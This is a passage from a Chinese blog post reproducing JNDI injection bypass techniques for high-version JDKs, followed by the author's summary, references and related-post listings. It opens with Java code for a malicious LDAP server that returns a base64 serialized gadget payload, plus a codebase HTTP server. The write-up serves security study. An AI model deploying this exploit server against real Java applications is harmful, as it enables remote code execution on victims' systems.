IAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYcHQABHRlc3RwdwEAeHEAfgAVeA=="));
} catch (ParseException e1) {
e1.printStackTrace();
}
/** Payload2 end **/ result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
} public static void main(String[] args) throws Exception {
String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
args = args1;
System.out.println("HttpServerAddress: "+args[0]);
System.out.println("HttpServerPort: "+args[1]);
System.out.println("LDAPServerPort: "+args[2]);
String http_server_ip = args[0];
int ldap_port = Integer.valueOf(args[2]);
int http_server_port = Integer.valueOf(args[1]); lanuchCodebaseURLServer(http_server_ip, http_server_port);
lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
}
}
  • 发起ladp请求,结果如下

4 总结

第一时间看到浅蓝师傅的文章后,很想马上学习一下,无奈论文催得紧,过年前复现出了一部分。昨天终于写完了论文,继续来复现,所以前后文的不够通畅。浅蓝师傅还提到了一些其它的用法,但看起来不是特别实用,所以没有复现了。

经过对JNDI 高版本bypass方法的学习,真的佩服大师傅们对java研究的功力,另外复现过程中也明显感觉出来,jndi bypass的利用必须要依赖一些方便的工具,否则手工做起来真心麻烦,依赖都是一大堆。

参考

https://paper.seebug.org/942/

https://tttang.com/archive/1405/

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/

java高版本下各种JNDI Bypass方法复现的更多相关文章

  1. 关于JDK高版本下RMI、LDAP+JNDI bypass的一点笔记

    1.关于RMI 只启用RMI服务时,这时候RMI客户端能够去打服务端,有两种情况,第一种就是利用服务端本地的gadget,具体要看服务端pom.xml文件 比如yso中yso工具中已经集合了很多gad ...

  2. SQLServer低版本附加高版本的数据库常用处理方法

    SqlServer低版本数据库不能直接还原或附加Sql高版本数据库或备份文件,我们常用DTS互导的方式,如果不同版本数据库不可访问,可以使用高版本数据库的DTS导出整个库的相应低版本建库脚本与数据,然 ...

  3. php高版本安装ecshop错误解决方法

    1.Strict Standards: Non-static method cls_image::gd_version() should not be called statically in F:\ ...

  4. Java反序列化中jndi注入的高版本jdk绕过

    群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...

  5. 【2016-09-16】UbuntuServer14.04或更高版本安装问题记录

    出于项目需要,我们的Qt程序需要运行在 1. Windows/Linux-X86平台(CPU为常见的桌面级CPU如G3220.I3等): 2. Windows/Linux-X86低功耗平台(CPU为I ...

  6. System.Data.Oracleclient需要Oracle客户端软件Version8.1.7或更高版本问题

    C#连接ORACLE报System.Data.Oracleclient需要Oracle客户端软件Version8.1.7或更高版本问题: 开始Webservice在32位系统ORACLE10g库中we ...

  7. html5调用本机摄像头兼容谷歌浏览器高版本,谷歌浏览器低版本,火狐浏览器

    做这个功能的时候在网上查了一些资料,代码如下,在这个代码在谷歌浏览器46版本是没问题的,在火狐浏览器也行,但是在谷歌浏览器高版本下是不兼容的 <div id="body"&g ...

  8. 高版本 eclipse 如何安装 fatjar 插件以及使用 fatjar 将 Java 程序打成 Jar 包

    高版本 eclipse 如何安装 fatjar 插件以及使用 fatjar 将 Java 程序打成 Jar 包 Eclipse Version: Neon.3 Release (4.6.3) Welc ...

  9. Android 高版本API方法在低版本系统上的兼容性处理

    Android 版本更替,新的版本带来新的特性,新的方法. 新的方法带来许多便利,但无法在低版本系统上运行,如果兼容性处理不恰当,APP在低版本系统上,运行时将会crash. 本文以一个具体的例子说明 ...

随机推荐

  1. 【Java】Eclipse常用快捷键

    Eclipse常用快捷键 * 1.补全代码的声明:alt + / * 2.快速修复: ctrl + 1 * 3.批量导包:ctrl + shift + o * 4.使用单行注释:ctrl + / * ...

  2. Windows 和 Ubuntu 的网络能互相 ping 通之后,linux无法上网原因:①路由没设置好,②DNS 没设置好

    确保 Windows 和 Ubuntu 的网络能互相 ping 通之后,如果 Ubuntu 无法上网,原因通常有 2 个:路由没设置好,DNS 没设置好. 如果执行以下命令不成功,表示路由没设置好: ...

  3. 《剑指offer》面试题24. 反转链表

    问题描述 定义一个函数,输入一个链表的头节点,反转该链表并输出反转后链表的头节点. 示例: 输入: 1->2->3->4->5->NULL 输出: 5->4-> ...

  4. web自动化-selenium 入门篇

    selenium安装介绍 selenium是web浏览器的自动化工具 官网:https://www.selenium.dev 构成: WebDriver: 浏览器提供的浏览器api来控制浏览器(模拟用 ...

  5. golang汇总gomodules的初始化与改变模块的依赖关系

    1. gomodules的初始化 2. 改变模块的依赖关系

  6. gin初识

    Gin 是一个用 Go (Golang) 编写的 web 框架. 它是一个类似于 martini 但拥有更好性能的 API 框架, 由于 httprouter,速度提高了近 40 倍. 如果你是性能和 ...

  7. 基于 SSR 的预渲染首屏直出方案

    基于 SSR 的预渲染首屏直出方案 Create React Doc 是一个使用 React 的 markdown 文档站点生成工具.此前在 Create React Doc 中引入了预渲染技术来预先 ...

  8. iptables匹配条件总结1

    源地址 -s选项除了指定单个IP,还可以一次指定多个,用"逗号"隔开即可 [root@web-1 ~]# iptables -I INPUT -s 172.16.0.116,172 ...

  9. Vue3 框架基础随笔 (一)

    VUE框架基础部分随笔 Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架. Vue可以使用简单的代码实现一个单页面应用. 基本格式 Vue通过模板语法来声明式的将数 ...

  10. X-former:不止一面,你想要的Transformer这里都有

    原创作者 | FLPPED 参考论文: A Survey of Transformers 论文地址: https://arxiv.org/abs/2106.04554 研究背景: Transforme ...